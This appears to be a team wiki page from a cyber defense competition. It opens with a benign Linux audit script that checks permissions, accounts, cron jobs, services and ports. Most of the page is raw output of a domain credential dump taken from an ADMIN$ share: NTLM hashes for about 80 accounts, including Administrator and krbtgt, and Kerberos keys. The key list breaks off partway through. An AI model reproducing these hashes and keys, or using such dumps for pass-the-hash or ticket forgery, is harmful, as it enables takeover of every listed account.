Team 1 Wiki Page

Found this audit script:
-bash-5.1$ cat audit.sh 
#!/bin/bash

echo "=== FILE PERMISSIONS & SUID ==="
find /etc/shadow* /etc/gshadow* /etc/sudoers* /etc/passwd* -perm /007 -ls 2>/dev/null

echo "=== ACCOUNTS & SUDO ==="
grep -E -v '(/usr/sbin/nologin|/bin/false)' /etc/passwd
awk -F: '($3 == "0") {print $1}' /etc/passwd
cat /etc/sudoers 2>/dev/null
cat /etc/sudoers.d/* 2>/dev/null

echo "=== SSH & HOME DIRS ==="
find /home /root -maxdepth 2 -type d -name ".ssh" ! -perm 700 -ls 2>/dev/null
find /home /root -type f \( -name "authorized_keys" -o -name "id_*" \) ! -perm 600 -ls 2>/dev/null
ls -ld /home/* /root 2>/dev/null

echo "=== CRON & PERSISTENCE ==="
crontab -l 2>/dev/null
cat /etc/crontab 2>/dev/null
cat /etc/cron.d/* 2>/dev/null
cat /var/spool/cron/crontabs/* 2>/dev/null

echo "=== SYSTEMD SERVICES & TIMERS ==="
systemctl list-timers --all --no-pager
systemctl list-units --type=service --state=running --no-pager
find /etc/systemd/system /lib/systemd/system -type f -writable -ls 2>/dev/null

echo "=== NETWORK & SESSIONS ==="
w
ss -tulpn

echo "=== VULNERABLE PACKAGES ==="
dpkg -l | grep -E "policykit-1|libglib2.0-0|packagekit" 2>/dev/null



[*] PEK # 0 found and decrypted: 2e88936b34b25018ed5a1dba2c1cce5a
[*] Reading and decrypting hashes from \\ad.team1.isucdc.com\ADMIN$\Temp\jnpMtqvh.tmp 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5752c92b235a21f38c4bbf10c557c204:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:6aa15b3d14492d3fa4aa7c5e9cdc0e6a:::
AD$:1000:aad3b435b51404eeaad3b435b51404ee:f29af53e1547ba6f18fa4cff4d2f8531:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a04a2a78bd417e84cf83e31ed3284160:::
gabrielle.jackson:1112:aad3b435b51404eeaad3b435b51404ee:7c0c4dbfc7322c9c97b1135adacf13a5:::
steven.fields:1113:aad3b435b51404eeaad3b435b51404ee:3d8b39684261de8c15c10e185b380ee6:::
brian.holt:1114:aad3b435b51404eeaad3b435b51404ee:da3d4cf1513a531c4fa51bc5ad36ae2e:::
bryan.woods:1115:aad3b435b51404eeaad3b435b51404ee:3a7a256d9ab3f313ea5da137c524a438:::
sean.hernandez:1116:aad3b435b51404eeaad3b435b51404ee:c62b591b3a8852183718e521f3c4a971:::
laura.turner:1117:aad3b435b51404eeaad3b435b51404ee:defb2be6a4679fbb9fc820beb174859e:::
david.terrell:1118:aad3b435b51404eeaad3b435b51404ee:b2af874e60c359ec4cca8a1c0ce1a843:::
richard.clay:1119:aad3b435b51404eeaad3b435b51404ee:e83472c683cb511cfc009fa5cd947e41:::
thomas.molina:1120:aad3b435b51404eeaad3b435b51404ee:2fbfbe213ba320e22a992ab4c1fb3ff0:::
wesley.wilson:1121:aad3b435b51404eeaad3b435b51404ee:5b941814c7b865101bab7ff343c244fa:::
eric.pena:1122:aad3b435b51404eeaad3b435b51404ee:884b72d1fd91ab0ad7276df25b7d9008:::
tyler.marshall:1123:aad3b435b51404eeaad3b435b51404ee:1bbaec977634e5a47ff1c8f20fe64a2a:::
jonathan.ochoa:1124:aad3b435b51404eeaad3b435b51404ee:c10cd6d068b7643faf4b900513b59233:::
joseph.baker:1125:aad3b435b51404eeaad3b435b51404ee:d8a1bf2166893dd3c30e5c8fe5ca7f7c:::
darryl.freeman:1126:aad3b435b51404eeaad3b435b51404ee:0ab73ba90a6205ac5ceafe2e4683f00b:::
doris.wolfe:1127:aad3b435b51404eeaad3b435b51404ee:7ecf1ffd039f39da3acbfb9aff38f71d:::
rachael.perez:1128:aad3b435b51404eeaad3b435b51404ee:e44a57e48aa74f6cb7ff8e628ab7ac39:::
brandy.smith:1129:aad3b435b51404eeaad3b435b51404ee:b89570a59dde43d5df3f47be9219d34e:::
cynthia.vance:1130:aad3b435b51404eeaad3b435b51404ee:8fe7404e3e693351361f9610a61ac4a2:::
allison.brown:1131:aad3b435b51404eeaad3b435b51404ee:5b4210b0d4d507adbbcf516d7567a024:::
caitlin.parker:1132:aad3b435b51404eeaad3b435b51404ee:2e7e1f81d1e998c065e35ad42f5822d4:::
joshua.martin:1133:aad3b435b51404eeaad3b435b51404ee:ac775aa94b44c6162a0a49a5448783d3:::
angela.howard:1134:aad3b435b51404eeaad3b435b51404ee:696a8cb195d07eb9d2ef66cfdbec9557:::
nicole.morrison:1135:aad3b435b51404eeaad3b435b51404ee:3cf0a1a4193e86a9803733a78279997e:::
kelly.nelson:1136:aad3b435b51404eeaad3b435b51404ee:a49f3c058bf50d4c0a79711a834b5792:::
johnny.strong:1137:aad3b435b51404eeaad3b435b51404ee:dcbb377095dd9b9e96f9603d1d6348c8:::
robin.meyers:1138:aad3b435b51404eeaad3b435b51404ee:63608ed2878c4f8b0ac1c856e6a82e35:::
travis.wright:1139:aad3b435b51404eeaad3b435b51404ee:c51cb4f55e7a2379b21d7003339328df:::
carmen.spencer:1140:aad3b435b51404eeaad3b435b51404ee:291786b9b3bcc008605c3c2259beda1e:::
stephanie.scott:1141:aad3b435b51404eeaad3b435b51404ee:de4ad3ff481293893381a0b8dfb822bc:::
jennifer.gonzalez:1142:aad3b435b51404eeaad3b435b51404ee:2a13b5f5c65bd9fce484e27b9462bc18:::
john.vaughn:1143:aad3b435b51404eeaad3b435b51404ee:cc983ec3cfd62489e632e3a269e07e9b:::
mary.perkins:1144:aad3b435b51404eeaad3b435b51404ee:0ca38481e6be79aad94bf0e5c4d20651:::
kristopher.roberts:1145:aad3b435b51404eeaad3b435b51404ee:40cb9a9c0b8ed4d19a3706c07edbd79c:::
patrick.howell:1146:aad3b435b51404eeaad3b435b51404ee:56724c58d28de4bd22f0cd24fde2f377:::
daniel.tucker:1147:aad3b435b51404eeaad3b435b51404ee:5139d8ba9d5a935931644400f5cbf4c6:::
stacie.rodriguez:1148:aad3b435b51404eeaad3b435b51404ee:5e7c7f9e86d7838d6fd6150a2d0d109f:::
joan.francis:1149:aad3b435b51404eeaad3b435b51404ee:2773155313cb43140569c3f1e9a5d1c4:::
lisa.may:1150:aad3b435b51404eeaad3b435b51404ee:389e13ff58a4c227c20c3b4eda935e57:::
charles.hawkins:1151:aad3b435b51404eeaad3b435b51404ee:d40f050a476e45c2add572a89914f01a:::
william.fernandez:1152:aad3b435b51404eeaad3b435b51404ee:d6f2713f913f547c6a65081bdbfdd5bf:::
monica.joseph:1153:aad3b435b51404eeaad3b435b51404ee:7553083e455a0136117671c721fdd242:::
kyle.pratt:1154:aad3b435b51404eeaad3b435b51404ee:44f11b2958d02c170c2fd1c5b760c590:::
austin.sanchez:1155:aad3b435b51404eeaad3b435b51404ee:0d77f012e0f54683e14051e26aa84463:::
nina.hurst:1156:aad3b435b51404eeaad3b435b51404ee:c672938d723152116097f4e0cd9bb8d3:::
luke.tapia:1157:aad3b435b51404eeaad3b435b51404ee:4a37df30ae3ba14ae5876d08e1ec4e01:::
james.gutierrez:1158:aad3b435b51404eeaad3b435b51404ee:700e54202c89fc5d3f146c934ffdf8c8:::
benjamin.harris:1159:aad3b435b51404eeaad3b435b51404ee:bcabd0825dfab1aa3221244e8ab5d320:::
shari.taylor:1160:aad3b435b51404eeaad3b435b51404ee:3e638821438af7854aca40ffdd1d40d3:::
scott.gibson:1161:aad3b435b51404eeaad3b435b51404ee:409f7393dfd60fc1ca0be51a30d5e170:::
sheila.west:1162:aad3b435b51404eeaad3b435b51404ee:ebdcc82f64fd8dbefb128f4a761c6990:::
katelyn.rivers:1163:aad3b435b51404eeaad3b435b51404ee:a18d3d0f06f81f49978b5942f7ec8ea7:::
curtis.miller:1164:aad3b435b51404eeaad3b435b51404ee:15a2c0b6c28bfc4a1fe052fd01b608be:::
jessica.copeland:1165:aad3b435b51404eeaad3b435b51404ee:aa7802ba963156d101ad60acd2a17a34:::
tiffany.robinson:1166:aad3b435b51404eeaad3b435b51404ee:c73bc61b24555003b00ad0e6bba74c9a:::
christina.henderson:1167:aad3b435b51404eeaad3b435b51404ee:a3c5138bd4d8f0b5ced597e4a2bcb1ca:::
dana.malone:1168:aad3b435b51404eeaad3b435b51404ee:211aeb79213f364851b301832f9baa5b:::
stephen.warner:1169:aad3b435b51404eeaad3b435b51404ee:93a55d84e0c753f9914d7f49ce4420ee:::
shawn.rosario:1170:aad3b435b51404eeaad3b435b51404ee:f792cabb36d59e5fb2c069c680fe9c73:::
nathan.ford:1171:aad3b435b51404eeaad3b435b51404ee:9c25871e463475a11daa9130f2da283c:::
jacob.morse:1172:aad3b435b51404eeaad3b435b51404ee:42d7a3a0cb852dde4f9a9b5f835e1b0d:::
katherine.stevens:1173:aad3b435b51404eeaad3b435b51404ee:97cb013cc62f921a42152ccb812cf9d4:::
kenneth.santos:1174:aad3b435b51404eeaad3b435b51404ee:f37cdc97d313fe8c4ffa996217d2dbec:::
randy.young:1175:aad3b435b51404eeaad3b435b51404ee:4b64b2a29597ddf79a76a31973284112:::
jesus.davis:1176:aad3b435b51404eeaad3b435b51404ee:714b04abf38dec0925d20fcc1c8f3aed:::
debra.lewis:1177:aad3b435b51404eeaad3b435b51404ee:a8fe0b6d675f1be6686eaad5b22c9c29:::
karen.williams:1178:aad3b435b51404eeaad3b435b51404ee:c324feeb2b01f1f070f92e80e69d49f1:::
annette.atkins:1179:aad3b435b51404eeaad3b435b51404ee:df678b8644e405769f52a70d785c8250:::
amber.winters:1180:aad3b435b51404eeaad3b435b51404ee:439fb133a55267c6056256a5cfeca3d7:::
kendra.doyle:1181:aad3b435b51404eeaad3b435b51404ee:4f6dce7663b471139c74f66318ac469c:::
jasmine.moore:1182:aad3b435b51404eeaad3b435b51404ee:1547082a64a0ee66357ce3210dfeb4b2:::
DB$:1184:aad3b435b51404eeaad3b435b51404ee:d3dde2b512783ab733f38a8e6e209586:::
CAN$:1185:aad3b435b51404eeaad3b435b51404ee:3f053acbf00e3a2366bbd64ac230c335:::
WWW$:1186:aad3b435b51404eeaad3b435b51404ee:942d27ee58b1d10a88e6b491d98e3f93:::
LIB$:1187:aad3b435b51404eeaad3b435b51404ee:c646f22afc0d53232b402509a6054479:::
team1.isucdc.com\padmin:1188:aad3b435b51404eeaad3b435b51404ee:35910adba877193488eb4c69d85aaf2b:::
team1.isucdc.com\canvas.service:1189:aad3b435b51404eeaad3b435b51404ee:f158ce0b38ee160ec8a060fdae6c5024:::
[*] Kerberos keys from \\ad.team1.isucdc.com\ADMIN$\Temp\jnpMtqvh.tmp 
Administrator:aes256-cts-hmac-sha1-96:ab63be8391c80996df02e7fb9a0aa11dc92a6e23915cec56359c3b1f5b2bbaac
Administrator:aes128-cts-hmac-sha1-96:b4d9cf8ad905dbad44653fc399bb7c9a
Administrator:des-cbc-md5:e6195d43df138c51
Guest:aes256-cts-hmac-sha1-96:70a9ae0352d914aeffee4a69aeece00f2667e1df95e5129ff201ce3951ecf106
Guest:aes128-cts-hmac-sha1-96:7ac2595f9d62bbbf8c4f1a0e6fc78345
Guest:des-cbc-md5:31a1cdeff2cddcae
AD$:aes256-cts-hmac-sha1-96:de46e747dca8c4b02c7a3b79db82972238c0f8051868a1039e17a84f87c5550d
AD$:aes128-cts-hmac-sha1-96:bd4b54c33d835b772bd099657303cd73
AD$:des-cbc-md5:5810f26b23e09bad
krbtgt:aes256-cts-hmac-sha1-96:33377cddb8c337c60845171e5878036e0c9be5b7f8b09195465433160c9edd10
krbtgt:aes128-cts-hmac-sha1-96:e2f510e14a47daebebdffe69b4c67c55
krbtgt:des-cbc-md5:37688c9be3106b97
gabrielle.jackson:aes256-cts-hmac-sha1-96:1291a81c39d5a339dcbab4ac978e339e5f6b06189d502137aa0cc789e39abc53
gabrielle.jackson:aes128-cts-hmac-sha1-96:8f674469310e2a9ab3ea71003806ecbe
gabrielle.jackson:des-cbc-md5:83b097bc9dda9d2c
steven.fields:aes256-cts-hmac-sha1-96:364c3ca145046cece0ad85644ecb9e159a1a2012e4b424b247f09a360e3a5cb3
steven.fields:aes128-cts-hmac-sha1-96:6ed634e12ed3c83509f2d8bd11136b4c
steven.fields:des-cbc-md5:2ca7e052bff2864f
brian.holt:aes256-cts-hmac-sha1-96:56d7708cec760200063937dcde147c018d2557ee09e9bf08936bc0c624987a54
brian.holt:aes128-cts-hmac-sha1-96:d5e821d6c2f52c2d4230089200e9eb40
brian.holt:des-cbc-md5:3458bcda8a61c1a4
bryan.woods:aes256-cts-hmac-sha1-96:225e9527667db95fa49d6e3125dcc276e92b7caac62aefe719a77ef068164b53
bryan.woods:aes128-cts-hmac-sha1-96:caff4797ac57c75c87bb3032da5e04dd
bryan.woods:des-cbc-md5:0d6d9d3291c46445
sean.hernandez:aes256-cts-hmac-sha1-96:2d358df5f71b4b9425a9cd0db3e964ef3f0604d56788759e780586af3369706d
sean.hernandez:aes128-cts-hmac-sha1-96:c58c9dd0a8b9e532fadae3bafa3e69cf
sean.hernandez:des-cbc-md5:3e1f9ef1f1dc76fb
laura.turner:aes256-cts-hmac-sha1-96:879849093794eb6936be4a60a639cbf3cce0e114a0ce462a59e9c7fc676a6656
laura.turner:aes128-cts-hmac-sha1-96:17ac886c19de5efd6dec73fd2a6b07d1
laura.turner:des-cbc-md5:9e91d37aab0d80d5
david.terrell:aes256-cts-hmac-sha1-96:fbc437df6372f2c05963b0fec7dd3d663461370d06c25a94e03aff93e26f754d
david.terrell:aes128-cts-hmac-sha1-96:39cef67ed39d48fb5a7fb5e2501c6124
david.terrell:des-cbc-md5:b38c4089c89bba8a
richard.clay:aes256-cts-hmac-sha1-96:6bed58de0f953df4bacaeeb4b591cc60f8e3bfb85d21347227b2d6d786b89e88
richard.clay:aes128-cts-hmac-sha1-96:e28c18c808b2555523ffb7893771a998
richard.clay:des-cbc-md5:346285941ac21a57
thomas.molina:aes256-cts-hmac-sha1-96:2f618f903b75fd417068dd3e175e704fd69d56ef89c5d284b2f4d032f17c5578
thomas.molina:aes128-cts-hmac-sha1-96:79396a35c80cd7a16e4b9fff3b412067
thomas.molina:des-cbc-md5:c4e33d514a83919e
wesley.wilson:aes256-cts-hmac-sha1-96:9e282c797d29de36d74117932caf4130708c0f97ad6efa2e9532ca7f9748e10f
wesley.wilson:aes128-cts-hmac-sha1-96:85cfc29540ee70324647a3fd963524a8
wesley.wilson:des-cbc-md5:7ae66ee0408f802a
eric.pena:aes256-cts-hmac-sha1-96:af4d6bbc88a75a486a9a77323567bb389e8eb9a4b7c6acdb1c0cb91fc05bcacc
eric.pena:aes128-cts-hmac-sha1-96:4c025f1637a5af1f7c4aa6e96e56e8b7
eric.pena:des-cbc-md5:498a2a346b29e0a7
tyler.marshall:aes256-cts-hmac-sha1-96:648794250820631fe8707a02f83a202f4f5b5f8f6e8d9e637e334b7c2445e834
tyler.marshall:aes128-cts-hmac-sha1-96:6e2be5ea8cf68132101ac8040f3e381f
tyler.marshall:des-cbc-md5:0d0e20a7c4d6b0d5
jonathan.ochoa:aes256-cts-hmac-sha1-96:170561bd394d8562c0db5afa7f2a068c920bedfaeaf3d52314768c26fbd3939b
jonathan.ochoa:aes128-cts-hmac-sha1-96:2e0b327ba4269f0ed3870eb644dc3f96
jonathan.ochoa:des-cbc-md5:465e2f9ec4cdd0bc
joseph.baker:aes256-cts-hmac-sha1-96:24c576cacf58b03423bbc397fca96c21a246d7d361db4296f449680c6163b33d
joseph.baker:aes128-cts-hmac-sha1-96:dae8e6b9039af48a8b9b2ddabb650b19
joseph.baker:des-cbc-md5:e392808ca7071c8f
darryl.freeman:aes256-cts-hmac-sha1-96:02ca36811ce7394afb8f727b2f658d3e8de43392b62bbdb8e8d99fa9b71a42a1
darryl.freeman:aes128-cts-hmac-sha1-96:e0184dfc3e3520b09aac762fe7d5f12d
darryl.freeman:des-cbc-md5:7089f1945b57f8ef
doris.wolfe:aes256-cts-hmac-sha1-96:4f5ce2bc7cab05ac62dfc0d94372a56efbea39b35d27f0df3742e0a11093e71c
doris.wolfe:aes128-cts-hmac-sha1-96:5b933fe9c9e47b38d76b137782af89fa
doris.wolfe:des-cbc-md5:c2ce86e3e07362b9
rachael.perez:aes256-cts-hmac-sha1-96:fe0595dd66fd6dc695265db1322cb527cb1534b6356180fb206a90488a43fe22
rachael.perez:aes128-cts-hmac-sha1-96:3e82406644d3ad1fa141da9172e0676a
rachael.perez:des-cbc-md5:a7d0868301ec2334
brandy.smith:aes256-cts-hmac-sha1-96:5c66b5856d1fe69f1bcd94a98d92bf6a399b98a9c3717cdf035634d33f4cf904
brandy.smith:aes128-cts-hmac-sha1-96:eea976d48d50ad2c82add3e3143d85e3
brandy.smith:des-cbc-md5:bf23c25ecbbf1cea
cynthia.vance:aes256-cts-hmac-sha1-96:c6aa6dc336b063b9695dc5ed4a971a849221e5b28facb055a775822f3cb2e18b
cynthia.vance:aes128-cts-hmac-sha1-96:0a84003a101e9421f39c547a5168b378
cynthia.vance:des-cbc-md5:fdbc929b6ec80468
allison.brown:aes256-cts-hmac-sha1-96:d27b8d95ab384a446fcd6dec6d1ba1ad18fd5340e7c10ea3bcd258f96095cdf7
allison.brown:aes128-cts-hmac-sha1-96:003576ee79a29109343526867946ae9e
allison.brown:des-cbc-md5:106b34ce29f19b40
caitlin.parker:aes256-cts-hmac-sha1-96:0c46adf87040655b15048030f318f4c0dbba9014fdb65dabbc1c4c9d2360c7e3
caitlin.parker:aes128-cts-hmac-sha1-96:3d0ed9d9bf8d45bc73ca6b664d502247
caitlin.parker:des-cbc-md5:7357f8df0ee00b26
joshua.martin:aes256-cts-hmac-sha1-96:5be4f7a78344f24e5579e6fb899d9d597651f9021a8b9448e5d96ee0db69cebf
joshua.martin:aes128-cts-hmac-sha1-96:e1d47679d5b7022b9fd14ddeee962022
joshua.martin:des-cbc-md5:891cce9deaa12f20
angela.howard:aes256-cts-hmac-sha1-96:331cd5922df59b3f29f46615ab1b200e4294eeaf58492fdf23e5e93020503138
angela.howard:aes128-cts-hmac-sha1-96:51494f787d6112818be91756a2e521de
angela.howard:des-cbc-md5:b6e6d9e361f19b23
nicole.morrison:aes256-cts-hmac-sha1-96:302fa036ac819ce916d13eee51dc7376ac1c10597dcb48b6845d46df14e278fa
nicole.morrison:aes128-cts-hmac-sha1-96:7d22704541e9fd698ffaaab1e7b9de4d
nicole.morrison:des-cbc-md5:0b49f8ced519ea02
kelly.nelson:aes256-cts-hmac-sha1-96:0d5ac802e987ae1b50c6f2fcc2a8b1d00a5b14dde59e8a831c39fa2e4a435173
kelly.nelson:aes128-cts-hmac-sha1-96:da9330966d788ca2cec3456a6df7b7de
kelly.nelson:des-cbc-md5:94074f3b8cf20e1a
johnny.strong:aes256-cts-hmac-sha1-96:084967759fbea390ff72ea6575c0ca9076adb1a3731e2bfd79ea12a853924604
johnny.strong:aes128-cts-hmac-sha1-96:dd8078b05cbcda53f76852791642d09d
johnny.strong:des-cbc-md5:eacdad0b405d4332
robin.meyers:aes256-cts-hmac-sha1-96:e8c7e9926713830faeb5f5ae4c1ef750b6170f9b984c39323c8c98d39a35fd07
robin.meyers:aes128-cts-hmac-sha1-96:d23fb6123a6c090d7c3a41f6665b4ff0
robin.meyers:des-cbc-md5:342f76015b9db56d
travis.wright:aes256-cts-hmac-sha1-96:f450eb10d42793a2f696a1de00d5fbbe509b8dce77fbe8c25de8ddfad9220967
travis.wright:aes128-cts-hmac-sha1-96:e34c28d6050798ac36dea90e1ce32594
travis.wright:des-cbc-md5:8fea4adfd01cd5c4
carmen.spencer:aes256-cts-hmac-sha1-96:b0018029c722ce77f1e215fa88281ad4418457214cceb288942b9f75db1f28b8
carmen.spencer:aes128-cts-hmac-sha1-96:7ef7d96f9c9fb95ddd20164a1d836271
carmen.spencer:des-cbc-md5:da980852138c9219
stephanie.scott:aes256-cts-hmac-sha1-96:ae0adaf4fd8f55fc4a3dc89dab51584d166ca73d6e766988917125b30f8ffcaf
stephanie.scott:aes128-cts-hmac-sha1-96:f9871267e9ac8d6e70eaac257ceff54b
stephanie.scott:des-cbc-md5:e90e8c6dd61a1a4f
jennifer.gonzalez:aes256-cts-hmac-sha1-96:fd995332f0edc9be47550a245e709188f59ce336600e16fd00b2de4f66f01367
jennifer.gonzalez:aes128-cts-hmac-sha1-96:546b1ef3a458291ab1f11364b0303b03
jennifer.gonzalez:des-cbc-md5:048aefa864fecb57
john.vaughn:aes256-cts-hmac-sha1-96:d05371d757ae0fcca5f5589dee6aec9c579ed796487cc10812495f5f2e3aedfc
john.vaughn:aes128-cts-hmac-sha1-96:65253fc344d38524dc5f4ced0dbd7c4a
john.vaughn:des-cbc-md5:bf9d7f7cb3bc0d57
mary.perkins:aes256-cts-hmac-sha1-96:72da7039c7996daa719b2c392c040b7fd09d516319af92a29af124d526bb63b3
mary.perkins:aes128-cts-hmac-sha1-96:d392f850a999b08148322e0e972965f1
mary.perkins:des-cbc-md5:9d866d4f942932b0
kristopher.roberts:aes256-cts-hmac-sha1-96:00f5eaeb3701e60c0ecaa9459e23f37b42e3736f471d89ede3dbd29e6c8eff7b
kristopher.roberts:aes128-cts-hmac-sha1-96:e36ac1f3221c7741978f2733c8e8d3d3
kristopher.roberts:des-cbc-md5:977ae0a2b5ab316e
patrick.howell:aes256-cts-hmac-sha1-96:c2c055891a403e62dcd97ca43bfc58c8ba71fc2a29f87bc777c5618c8696eb30
patrick.howell:aes128-cts-hmac-sha1-96:22f71fa8da15c42140a31a4d2b1e119f
patrick.howell:des-cbc-md5:0d928c839b49f7ce
daniel.tucker:aes256-cts-hmac-sha1-96:aba83fa29a3b553dbc42acba556bb51cd610fb2cae3abb9ee8748a258544022f
daniel.tucker:aes128-cts-hmac-sha1-96:ef9ac53f44abbfc17c5ec093c41a3ea3
daniel.tucker:des-cbc-md5:da2a02a8755e3bad
stacie.rodriguez:aes256-cts-hmac-sha1-96:e0a20944da989c9c3c2661f3c16c745bbe3afd2100156a289cb12f6fb35dd05b
stacie.rodriguez:aes128-cts-hmac-sha1-96:1aaf423e9a2678577c17c85bebf6202b
stacie.rodriguez:des-cbc-md5:abd580eaabfeeaa7
joan.francis:aes256-cts-hmac-sha1-96:ae606ca3369bfc83e3298be949bfa546d65569502f61db4492cbffe9af35c5a7
joan.francis:aes128-cts-hmac-sha1-96:8a1000cc9c18f9d4303ec56563f62daf
joan.francis:des-cbc-md5:a210c2a75e70570b
lisa.may:aes256-cts-hmac-sha1-96:ae790dc837ac956bcaaa35fe34ee491963c67d6cc1043e9a4115150ff1cbb7f6
lisa.may:aes128-cts-hmac-sha1-96:bc54867ad4aa128a5bb651c4b41d8703
lisa.may:des-cbc-md5:32f8c1a752f49875
charles.hawkins:aes256-cts-hmac-sha1-96:b2e4d12fdf2e09a9547bd8b94748071ca14a99aa6b14128bda4195f7e223f2f8
charles.hawkins:aes128-cts-hmac-sha1-96:12d0399d7473686c696c9fcf29176e6c
charles.hawkins:des-cbc-md5:54ce62c4ef0e80e5
william.fernandez:aes256-cts-hmac-sha1-96:49945a4e64c099bfe015963a80f6bc9eb3054a15845a912574b17ab75798c336
william.fernandez:aes128-cts-hmac-sha1-96:7c8465b07dfe199bcb43b8448052061b
william.fernandez:des-cbc-md5:0b8ca1920da7dcbf
monica.joseph:aes256-cts-hmac-sha1-96:90e2ee6137bed8ce656b6f590b97c9ef26d53dd0ba4cf0f094d45c0047229ba9
monica.joseph:aes128-cts-hmac-sha1-96:273ac276c56ac3593c97ccf1ccb74226
monica.joseph:des-cbc-md5:46d937fbe6089746
kyle.pratt:aes256-cts-hmac-sha1-96:1df8fd805ac0b79cc4c52ead6e0cd1bd3cd80b0bd8f1966a62a4a896e7fc6075
kyle.pratt:aes128-cts-hmac-sha1-96:280cd150dcc0a9968e9328e613977f09
kyle.pratt:des-cbc-md5:7a4ab35108e3ab89
austin.sanchez:aes256-cts-hmac-sha1-96:ef3f5ba230e20a00518c8255059de1a4af7adc44acaeec910c860bb5dea65f16
austin.sanchez:aes128-cts-hmac-sha1-96:81bfee13b2666bd3575cf3d13440860f
austin.sanchez:des-cbc-md5:3e012c58ce20344f
nina.hurst:aes256-cts-hmac-sha1-96:fd34c48b8a7a1ca9e1f935cd8139b6d8facb2a8b137918345b81d6c69181db28
nina.hurst:aes128-cts-hmac-sha1-96:a7cc6725b607f0214c1f27c07fa66c1e
nina.hurst:des-cbc-md5:a201342cf4b5e040
luke.tapia:aes256-cts-hmac-sha1-96:5cc75a744ec565dfefe3cca66846ea1c1e06cb2a2b8bb867fad9659eef1ccf98
luke.tapia:aes128-cts-hmac-sha1-96:d99f7d9b98d35853363762e2d577fff6
luke.tapia:des-cbc-md5:8a2383c1bcc47a54
james.gutierrez:aes256-cts-hmac-sha1-96:de363e06e73874727543c7314f850becc5f40210eb9c8c12717ce56bb7af4d8c
james.gutierrez:aes128-cts-hmac-sha1-96:715468f1beeee7e817b6df707e73c678
james.gutierrez:des-cbc-md5:d94994ce6116fb2f
benjamin.harris:aes256-cts-hmac-sha1-96:7a7800d4f1218f28a79215366549ee85dac713540edeaa020ee05dcfed2a3ec3
benjamin.harris:aes128-cts-hmac-sha1-96:4f1f61c33cea4a99303dade60e0b346f
benjamin.harris:des-cbc-md5:e63497971a52515b
shari.taylor:aes256-cts-hmac-sha1-96:290ef79293e945340a7f8cd2a4417b60f53b62200a431119d2eee268fc1c2474
shari.taylor:aes128-cts-hmac-sha1-96:1a0c7fefe7311b78f95f273a69fc5cf2
shari.taylor:des-cbc-md5:0bb5cebaf1e09298
scott.gibson:aes256-cts-hmac-sha1-96:9ebe171b19c4a26ac100c14cc17058f26d5f372824c66e59c1e1b42306306d0f
scott.gibson:aes128-cts-hmac-sha1-96:b25c2670478b8510efbb1328e3817fdb
scott.gibson:des-cbc-md5:b9dc324961c4046b
sheila.west:aes256-cts-hmac-sha1-96:a336fa54ab65b9f7dbff8b11e5f6ec6d57807241d63f23db655e9b6dbd8a5c8f
sheila.west:aes128-cts-hmac-sha1-96:b56933043ea5057f60983e114a2ae138
sheila.west:des-cbc-md5:80fb512fc76e5291
katelyn.rivers:aes256-cts-hmac-sha1-96:a495a064065cf3327afe807e7ae3aa4de98c9acfe90d9e4937ce37652ae694a7
katelyn.rivers:aes128-cts-hmac-sha1-96:d71c9dba818048a8e237e29f6c52f434
katelyn.rivers:des-cbc-md5:31767fb385fb832f
curtis.miller:aes256-cts-hmac-sha1-96:0167abd3e35bd973639781d64c50be6c189693bb1940b8608a24cb0067a90eba
curtis.miller:aes128-cts-hmac-sha1-96:3b6840dbc23be4e2f4316d06197af6e7
curtis.miller:des-cbc-md5:7031e3a1a4c88343
jessica.copeland:aes256-cts-hmac-sha1-96:002c75f1c28fae5109b13df1deb44ed0ad3e39e1c5756c081e5a5bedd1282554
jessica.copeland:aes128-cts-hmac-sha1-96:1d3c9abb04ae5b56b23d95dfcc7d41a1
jessica.copeland:des-cbc-md5:aee52a0b2aabfd7a
tiffany.robinson:aes256-cts-hmac-sha1-96:ffcf06ae10bc849b1fba3f50ee14cd50978e67273f14fe3870982a66dead333d
tiffany.robinson:aes128-cts-hmac-sha1-96:b9ca68793f03abbafa1f154fd0792dc7
tiffany.robinson:des-cbc-md5:f8c8f2ada8702004
christina.henderson:aes256-cts-hmac-sha1-96:a8626dcedd9596c1a4ce485a72554d72752ae1dfe1bc65b915279731f795f191
christina.henderson:aes128-cts-hmac-sha1-96:4f3022f8c1c69685e6e10f404e8c988d
christina.henderson:des-cbc-md5:d345b9588f5186dc
dana.malone:aes256-cts-hmac-sha1-96:49947437141e294dc5f1bb3bebad2dc841e4f2b884d0bd9093e8f7ce8616711c
dana.malone:aes128-cts-hmac-sha1-96:38db0fb059d705029036fabc1914cf30
dana.malone:des-cbc-md5:f79b37b5d504b3b5
stephen.warner:aes256-cts-hmac-sha1-96:21d9f27c678a16108e3df519cd3c9e493f85525a2a06266046253fe611b95f72
stephen.warner:aes128-cts-hmac-sha1-96:e3c07562e1c19535ce9abfdc53b2aaad
stephen.warner:des-cbc-md5:d0b662e9fd7c64c1
shawn.rosario:aes256-cts-hmac-sha1-96:b7283b7e1d48ea644c532df67e571d5cb4e8ee2fe5b93094f99bd59623de452f
shawn.rosario:aes128-cts-hmac-sha1-96:4d14fbfcddd81eca212c086ebd49e38f
shawn.rosario:des-cbc-md5:29921ca1022fe00d
nathan.ford:aes256-cts-hmac-sha1-96:04d9dcf1acc9155465a4a990b751f377a4a0862fa64ccc93e28f5462f1a251c0
nathan.ford:aes128-cts-hmac-sha1-96:af7992de2e1aa78fbdcf122e7636f31f
nathan.ford:des-cbc-md5:9e5707f13dd51925
jacob.morse:aes256-cts-hmac-sha1-96:972b2ec7d88a386c06b59255d6144510af2c65780569a36422931ea433cd8bed
jacob.morse:aes128-cts-hmac-sha1-96:10c75393bd40b21f0a82e2c2569cbefe
jacob.morse:des-cbc-md5:0b80d67a1f1664b6
katherine.stevens:aes256-cts-hmac-sha1-96:742d492b7fc067b45e379db5f6f291d1536c6d6adb7d8ea34d2b58e1a72f9758
katherine.stevens:aes128-cts-hmac-sha1-96:6eeb03c2f9ca211480fdfa7f106c288c
katherine.stevens:des-cbc-md5:642a6451b5899108
kenneth.santos:aes256-cts-hmac-sha1-96:91b9e8e02a0cafc3552b5984952d7ff6df69e16abedcf4b61ae7ca71a1d0f192
kenneth.santos:aes128-cts-hmac-sha1-96:46c83487d8e583c1c872c46e1dc4eb4d
kenneth.santos:des-cbc-md5:4c048f1f04b904fb
randy.young:aes256-cts-hmac-sha1-96:f6f39228fbbbf57839e0b08450144b0327c65128a49eea460b511f994a6cadb8
randy.young:aes128-cts-hmac-sha1-96:262f6c39ee2c75e45625f39d25bbca00
